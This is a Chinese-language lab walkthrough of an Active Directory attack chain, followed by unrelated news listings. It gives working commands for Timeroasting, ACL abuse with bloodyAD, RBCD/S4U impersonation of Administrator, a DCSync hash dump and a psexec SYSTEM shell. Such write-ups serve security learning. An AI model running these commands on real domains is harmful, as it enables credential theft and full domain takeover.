[无境原创] Time  Machines
目标地址本机地址192.168.111.10192.168.111.25扫描根据下面nmap和fscan扫描结果可知192.168.111.10是域名sec.org的域控DCnmapnmap -sV -Pn 192.168.111.10fscanfscan -h 192.168.111.10同时根据扫描结果配置好host192.168.111.10 ad.sec.org adTimeroasting攻击结合靶场标题与时间相关对其进行timeroasting攻击Timeroasting是一种针对Windows Active DirectoryAD域环境的凭据破解技术。它利用Windows域控制器的时间同步服务Windows Time Service通常称为 W32Time所涉及的MS-SNTP认证机制尝试获取计算机账户相关的加密认证数据再通过离线字典或暴力破解尝试恢复账户密码。nxc smb 192.168.111.10 -M timeroast | grep TIMEROAST | awk {print $NF} timeroast.txthashcat获取筛选后的hash值后进行hashcat爆破经过与备份文件对比发现RID1601账户密码为bmhtawhashcat -m 31300 --username timeroast.txt rockyou.txt又根据靶场简介猜测用户名为mht因为fscan中知晓SMB服务不接受NTLM认证于是利用kerbrute工具去验证kerbrute userenum --dc 192.168.111.10 -d sec.org users.txt先同步域控时间再用密码向KDC换一张TGT存成mht$.ccache文件告诉后续工具去读这个文件里的票sudo ntpdate -u 192.168.111.10#同步域控时间防止换取票据失败getTGT.py -dc-ip 192.168.111.10 sec.org/mht\$:bmhtawexport KRB5CCNAMEmht$.ccache111bloodhound血猎犬上线对域内关系进行整理收集bloodhound-python -c ALL --zip -d sec.org -u mht$ -p bmhtaw -ns 192.168.111.10 -k经过bloodhound探寻找到一条以mht为起点到域控的acl链路ACL链路利用添加MHT进入OPERATIONS组MHT用户对OPERATIONS组拥有AddSelf扩展权限即有权将自己添加进该组。而当MHT用自己的凭据直接把自己mht$加入OPERATIONS组后MHT就继承了OPERATIONS组的所有权限注意因为NTLM被禁用所以所有命令必须带-k强制走KerberosbloodyAD --host ad.sec.org -k -d sec.org -u mht$ -p bmhtaw add groupMember operations mht$修改用户BB的密码OPERATIONS组也就是刚加进来的MHT对用户BB拥有ForceChangePassword权限直接修改为其密码bloodyAD --host ad.sec.org -k -d sec.org -u mht$ -p bmhtaw set password BB hacker123修改DANCINGTIME对象的DACL权限BB对DANCINGTIME这个用户对象拥有WriteDacl权限即可以修改它的DACLWriteDACL不等于能改这个对象的属性。想拿它的完全控制得先把自己的即BB的权限提上去bloodyAD --host ad.sec.org -d sec.org -u BB -p hacker123 -k add genericAll DANCINGTIME$ BB题外话拿到机器账户的GenericAll后最优雅的做法是影子凭据即写msDS-KeyCredentialLink然后再用PKINIT换票因为它绕开改密码的一切限制。bloodyAD --host ad.sec.org -d sec.org -u BB -p hacker123 -k add shadowCredentials DANCINGTIME$结果[] KeyCredential generated with following sha256 of RSA key: 07fb0715...[-] PKINIT failed on DC 192.168.111.10, you must find a Kerberos server with a certification authority![] PKINIT PFX certificate saved at: DANCINGTIME_G6.pfx...kerbad.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPPKDC_ERR_PADATA_TYPE_NOSUPP → DC上没有PKINIT证书域里没有CA或没给DC装智能卡登录证书KDC根本不支持PKINIT预认证。结论影子凭据、certipy、任何证书类攻击全部不可用还是走传统的修改密码用GenericAll重置DANCINGTIME$的密码既然有GenericAll直接重置其密码让我们后续能以DANCINGTIME$的身份登录之后换取DANCINGTIME$的票据bloodyAD --host ad.sec.org -k -d sec.org -u BB -p hacker123 set password DANCINGTIME$ hacker123获取DELE组的完全控制权限换用DANCINGTIME$的身份因为它对DELE组有WriteDACL同样提权限加用户getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:hacker123export KRB5CCNAMEDANCINGTIME$.ccachebloodyAD --host ad.sec.org -d sec.org -u DANCINGTIME$ -p hacker123 -k add genericAll Dele DANCINGTIME$bloodyAD --host ad.sec.org -d sec.org -u DANCINGTIME$ -p hacker123 -k add groupMember DELE mht$重置ZZ的密码DELE组成员拥有对ZZ的密码重置权限bloodyAD --host ad.sec.org -d sec.org -u mht$ -p bmhtaw -k set password ZZ hacker123RBCDZZ对域控计算机账户AD$有AddAllowedToAct权限也就是能写msDS-AllowedToActOnBehalfOfOtherIdentity这是RBCD基于资源的约束委派的开关让某个你控制的机器用户“代表”任意用户去访问DCbloodyAD --host ad.sec.org -d sec.org -u ZZ -p hacker123 -k add rbcd AD$ DANCINGTIME$#把AD$配置成允许DANCINGTIME$代表任意用户访问我因为被委派方必须是带SPN的账户即机器账户默认自带HOST/NAME所以选择DANCINGTIME$来当被委派方冒充域管S4U2Self S4U2ProxyS4U2Self让DANCINGTIME$要一张“证明我是Administrator”的票S4U2Proxy用这张票去换一张真正能访问cifs/ad.sec.org的服务票。getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:hacker123export KRB5CCNAMEDANCINGTIME$.ccache#然后走S4U流程要一张Administrator访问DC的服务票据getST.py -k -no-pass -dc-ip 192.168.111.10 -spn cifs/ad.sec.org -impersonate Administrator sec.org/DANCINGTIME$export KRB5CCNAMEAdministratorcifs_ad.sec.orgSEC.ORG.ccacheDCSync拿下全域哈希secretsdump.py -k -no-pass -just-dc -dc-ip 192.168.111.10 sec.org/Administratorad.sec.orgSHELL利用那张cifs票据拿DC的system shellexport KRB5CCNAMEAdministratorcifs_ad.sec.orgSEC.ORG.ccachepsexec.py -k -no-pass -codec cp936 -dc-ip 192.168.111.10 sec.org/Administratorad.sec.org

相关新闻

芯参谋(59):BLDC电机驱动电路设计指南

芯参谋(59):BLDC电机驱动电路设计指南

BLDC 驱动电路的设计风险不在「会不会画三相全桥」——拓扑是固定的六只管子;真正的功夫在于三处边界:上桥怎么浮起来供电(决定占空比上限)、同桥臂怎么保证不同时导通(决定会不会炸管)、开关瞬间的能量往哪…

2026/10/18 7:25:03 阅读更多 →
前端异步竞态条件排查与根治:从请求乱序到Rea工具实践

前端异步竞态条件排查与根治:从请求乱序到Rea工具实践

上周我花了整整三天排查一个线上故障,最后发现根子竟然是最常见的异步请求顺序问题。这个项目我内部代号叫 Rea——一个只解决异步竞态的小工具。起因是某跨平台系统的列表页,用户快速切换筛选条件时,旧的接口响应偶尔会覆盖新的响应&#xf…

2026/10/18 7:24:03 阅读更多 →
拆解 | CPO 量产元年:铜互连撞上物理墙,瓶颈却不在物理

拆解 | CPO 量产元年:铜互连撞上物理墙,瓶颈却不在物理

拆解 | CPO 量产元年:铜互连撞上物理墙,瓶颈却不在物理 一条 60 毫米的低损耗铜线,在 224G 速率下会衰减 18 到 20 分贝,可用距离塌缩到几十毫米。这条物理数字,把 CPO(共封装光学)从英伟达路线…

2026/10/18 7:24:03 阅读更多 →

最新新闻

LangChain核心模块实战:从模型封装到RAG链路构建

LangChain核心模块实战:从模型封装到RAG链路构建

在接触LangChain之前,我一度觉得这类框架不过是把各家大模型API包了一层皮,没什么深度可言。直到某次在公司做内部工具,需要把十几个零散的模型调用、知识库检索、多轮对话服务整合到一个统一入口,硬生生用裸API堆了快两千行胶水代…

2026/10/18 12:32:27 阅读更多 →
Python爬虫与可视化:从数据清洗到Flask+ECharts搭建商品销售分析系统

Python爬虫与可视化:从数据清洗到Flask+ECharts搭建商品销售分析系统

简介:这是一份基于Python的商品销售数据分析可视化系统源码,面向毕业设计场景,适合计算机、电子商务等专业学生用于课题参考与功能复用。系统采用Django框架,并集成爬虫模块用于商品数据采集,属于前后端完整的可运行工…

2026/10/18 12:32:27 阅读更多 →
遗传算法优化模糊控制器的微电网风光储Simulink仿真全流程

遗传算法优化模糊控制器的微电网风光储Simulink仿真全流程

简介:围绕模糊控制、微电网风光储与遗传算法优化的三套Simulink/Matlab仿真模型合成为一个ZIP压缩包,面向可再生能源系统研究者、电气工程专业学生及微电网设计人员,可用于理解风光互补发电系统的运行机制和控制策略。压缩包共76个文件&#…

2026/10/18 12:32:27 阅读更多 →
康复中心管理系统:SpringBoot+Vue的全栈毕业设计闭环实现

康复中心管理系统:SpringBoot+Vue的全栈毕业设计闭环实现

简介:基于JAVAVueSpringBootMySQL实现的康复中心管理系统,是面向毕业设计场景的完整项目源码。系统覆盖访客管理、房间管理、入住退房、缴费管理、药品档案、康复训练与网上咨询等核心业务模块,同时内置用户、部门、角色、菜单、日志等通用后…

2026/10/18 12:32:27 阅读更多 →
华三三层端口聚合:静态与动态模式本质差异及排障指南

华三三层端口聚合:静态与动态模式本质差异及排障指南

简介:本资源是一份面向网络工程师、运维人员及备考H3C认证的技术人员的实操型配置指南,聚焦华三交换机三层端口聚合的核心场景——静态与动态两种模式的完整部署方案。内容覆盖从聚合接口创建、三层路由模式启用、物理端口加入、IP地址分配到关键验证命令…

2026/10/18 12:32:27 阅读更多 →
OLED画线死循环排查:Bresenham算法边界条件与嵌入式修复实践

OLED画线死循环排查:Bresenham算法边界条件与嵌入式修复实践

屏幕刚亮起来,系统就卡死。这是我第一次遇到 OLED 一调用画线函数就整机假死的情况。一块 128x64 分辨率的 OLED 显示模块,接在常见的 Cortex-M 系列 MCU 上,I2C 接口,底层的画点函数单独调没有任何问题,显示字符数字也…

2026/10/18 12:31:27 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →